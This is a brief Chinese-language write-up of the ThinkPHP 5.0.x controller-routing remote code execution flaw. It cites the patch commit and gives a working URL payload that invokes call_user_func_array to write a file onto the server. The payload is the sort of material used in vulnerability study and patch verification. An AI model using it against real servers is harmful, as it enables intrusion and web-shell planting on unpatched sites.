Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
路由信息中controller的部分进行了过滤,可知问题出现在路由调度时
关键代码:
在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法。
1.利用system函数远程命令执行
2.通过phpinfo函数写出phpinfo()的信息
3.写入shell:
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>